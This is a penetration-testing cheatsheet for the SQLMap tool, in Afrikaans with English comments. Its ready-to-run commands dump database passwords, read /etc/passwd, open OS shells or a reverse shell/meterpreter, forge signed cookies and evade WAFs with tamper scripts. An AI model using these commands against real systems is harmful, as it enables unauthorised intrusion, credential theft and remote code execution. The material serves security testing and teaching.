14 KiB

SQLMap - Cheatsheet

{{#include ../../../banners/hacktricks-training.md}}

Basiese argumente vir SQLmap

Generies

-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char

Tegniek vlae (--technique)

Die --technique opsie laat jou toe om die SQL-inspuitingstegnieke wat sqlmap sal toets, te beperk of te herorden. Elke letter stem ooreen met 'n ander klas payloads:

Letter Tegniek Beskrywing
B Boolean-gebaseerde blind Gebruik waar/onwaar toestande in die bladsy respons om resultate af te lei
E Fout-gebaseerde Maak gebruik van uitgebreide DBMS foutboodskappe om data te onttrek
U UNION navraag Injekteer UNION SELECT verklarings om data via dieselfde kanaal te verkry
S Gestapelde navrae Voeg ekstra verklarings by wat geskei word deur 'n SQL afdelingsmerker (;)
T Tyd-gebaseerde blind Vertrou op SLEEP/WAITFOR vertragings om inspuitbare toestande te detecteer
Q Inline / uit-band Maak gebruik van funksies soos LOAD_FILE() of DNS eksfiltrasie om data te onttrek

Die standaard volgorde wat sqlmap sal volg is BEUSTQ (alle tegnieke). Jy kan beide die volgorde en die substel verander. Byvoorbeeld, die volgende opdrag sal slegs UNION navraag en Tyd-gebaseerde blind tegnieke probeer, en UNION eerste probeer:

sqlmap -u "http://target.tld/page.php?id=1" --technique="UT" --batch

Verkry Inligting

Intern

--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
--privileges #Get privileges

DB data

--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Gebruik SQLMapping dit is 'n praktiese hulpmiddel wat opdragte genereer en 'n volledige oorsig bied, beide basies en gevorderd, vir SQLMap. Dit sluit ToolTips in wat elke aspek van die hulpmiddel verduidelik, met besonderhede oor elke opsie sodat jy kan verbeter en verstaan hoe om dit doeltreffend en effektief te gebruik.

Inspuitplek

Van Burp/ZAP vang

Vang die versoek en skep 'n req.txt-lêer.

sqlmap -r req.txt --current-user

GET Versoek Inspuiting

sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

POST Versoek Inspuiting

sqlmap -u "http://example.com" --data "username=*&password=*"

Inspuitings in Headers en ander HTTP Metodes

#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

Dui string aan wanneer inspuiting suksesvol is

--string="string_showed_when_TRUE"

Voeg opsporingstegniek by

As jy 'n SQLi gevind het, maar sqlmap dit nie opgespoor het nie, kan jy die opsporingstegniek afdwing met args soos --prefix of --suffix, of as dit meer kompleks is, dit by die payloads voeg wat deur sqlmap in /usr/share/sqlmap/data/xml/payloads/time_blind.xml gebruik word, byvoorbeeld vir tyd-blind gebaseerde.

Eval

Sqlmap laat die gebruik van -e of --eval toe om elke payload te verwerk voordat dit met 'n paar python oneliner gestuur word. Dit maak dit baie maklik en vinnig om die payload op pasgemaakte maniere te verwerk voordat dit gestuur word. In die volgende voorbeeld is die flask koekie sessie deur flask met die bekende geheim onderteken voordat dit gestuur word:

sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump

Skulpin

#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

Lees Lêer

--file-read=/etc/passwd

Krap 'n webwerf met SQLmap en outomatiese eksploitasie

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

Tweede Orde Inspuiting

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Lees hierdie pos oor hoe om eenvoudige en komplekse tweede orde inspuitings met sqlmap uit te voer.

Pas Inspuiting aan

Stel 'n agtervoegsel in

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

Voorvoegsel

python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

Help om booleaanse inspuiting te vind

# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Tamper

Onthou dat jy jou eie tamper in python kan skep en dit is baie eenvoudig. Jy kan 'n tamper voorbeeld in die Second Order Injection page here vind.

--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
Tamper Description
apostrophemask.py Vervang apostrof karakter met sy UTF-8 volle breedte teenhanger
apostrophenullencode.py Vervang apostrof karakter met sy onwettige dubbele unicode teenhanger
appendnullbyte.py Voeg geënkodeerde NULL byte karakter by die einde van die payload aan
base64encode.py Base64 al karakters in 'n gegewe payload
between.py Vervang groter as operator ('>') met 'NOT BETWEEN 0 AND #'
bluecoat.py Vervang spasie karakter na SQL verklaring met 'n geldige ewekansige leë karakter. Vervang daarna karakter = met LIKE operator
chardoubleencode.py Dubbel url-encode al karakters in 'n gegewe payload (nie reeds geënkodeerde verwerk)
commalesslimit.py Vervang voorbeelde soos 'LIMIT M, N' met 'LIMIT N OFFSET M'
commalessmid.py Vervang voorbeelde soos 'MID(A, B, C)' met 'MID(A FROM B FOR C)'
concat2concatws.py Vervang voorbeelde soos 'CONCAT(A, B)' met 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'
charencode.py Url-encode al karakters in 'n gegewe payload (nie reeds geënkodeerde verwerk)
charunicodeencode.py Unicode-url-encode nie-geënkodeerde karakters in 'n gegewe payload (nie reeds geënkodeerde verwerk). "%u0022"
charunicodeescape.py Unicode-url-encode nie-geënkodeerde karakters in 'n gegewe payload (nie reeds geënkodeerde verwerk). "\u0022"
equaltolike.py Vervang al voorkomste van operator gelyk ('=') met operator 'LIKE'
escapequotes.py Skuil aanhalings (' en ")
greatest.py Vervang groter as operator ('>') met 'GREATEST' teenhanger
halfversionedmorekeywords.py Voeg 'n weergawe MySQL kommentaar voor elke sleutelwoord by
ifnull2ifisnull.py Vervang voorbeelde soos 'IFNULL(A, B)' met 'IF(ISNULL(A), B, A)'
modsecurityversioned.py Omhels volledige navraag met weergawe kommentaar
modsecurityzeroversioned.py Omhels volledige navraag met nul-weergawes kommentaar
multiplespaces.py Voeg meerdere spasies rondom SQL sleutelwoorde by
nonrecursivereplacement.py Vervang vooraf gedefinieerde SQL sleutelwoorde met verteenwoordigings geskik vir vervanging (bv. .replace("SELECT", "")) filters
percentage.py Voeg 'n persentasieteken ('%') voor elke karakter by
overlongutf8.py Converteer al karakters in 'n gegewe payload (nie reeds geënkodeerde verwerk)
randomcase.py Vervang elke sleutelwoord karakter met ewekansige kaswaarde
randomcomments.py Voeg ewekansige kommentaar by SQL sleutelwoorde
securesphere.py Voeg spesiaal saamgestelde string by
sp_password.py Voeg 'sp_password' by die einde van die payload vir outomatiese obfuskaasie van DBMS logs
space2comment.py Vervang spasie karakter (' ') met kommentaar
space2dash.py Vervang spasie karakter (' ') met 'n streep kommentaar ('--') gevolg deur 'n ewekansige string en 'n nuwe lyn ('\n')
space2hash.py Vervang spasie karakter (' ') met 'n pond karakter ('#') gevolg deur 'n ewekansige string en 'n nuwe lyn ('\n')
space2morehash.py Vervang spasie karakter (' ') met 'n pond karakter ('#') gevolg deur 'n ewekansige string en 'n nuwe lyn ('\n')
space2mssqlblank.py Vervang spasie karakter (' ') met 'n ewekansige leë karakter uit 'n geldige stel alternatiewe karakters
space2mssqlhash.py Vervang spasie karakter (' ') met 'n pond karakter ('#') gevolg deur 'n nuwe lyn ('\n')
space2mysqlblank.py Vervang spasie karakter (' ') met 'n ewekansige leë karakter uit 'n geldige stel alternatiewe karakters
space2mysqldash.py Vervang spasie karakter (' ') met 'n streep kommentaar ('--') gevolg deur 'n nuwe lyn ('\n')
space2plus.py Vervang spasie karakter (' ') met plus ('+')
space2randomblank.py Vervang spasie karakter (' ') met 'n ewekansige leë karakter uit 'n geldige stel alternatiewe karakters
symboliclogical.py Vervang AND en OR logiese operators met hul simboliese teenhangers (&& en
unionalltounion.py Vervang UNION ALL SELECT met UNION SELECT
unmagicquotes.py Vervang aanhalingsteken karakter (') met 'n multi-byte kombinasie %bf%27 saam met 'n generiese kommentaar aan die einde (om dit te laat werk)
uppercase.py Vervang elke sleutelwoord karakter met hoofletters 'INSERT'
varnish.py Voeg 'n HTTP kop 'X-originating-IP' by
versionedkeywords.py Omhels elke nie-funksie sleutelwoord met weergawe MySQL kommentaar
versionedmorekeywords.py Omhels elke sleutelwoord met weergawe MySQL kommentaar
xforwardedfor.py Voeg 'n vals HTTP kop 'X-Forwarded-For' by

References

{{#include ../../../banners/hacktricks-training.md}}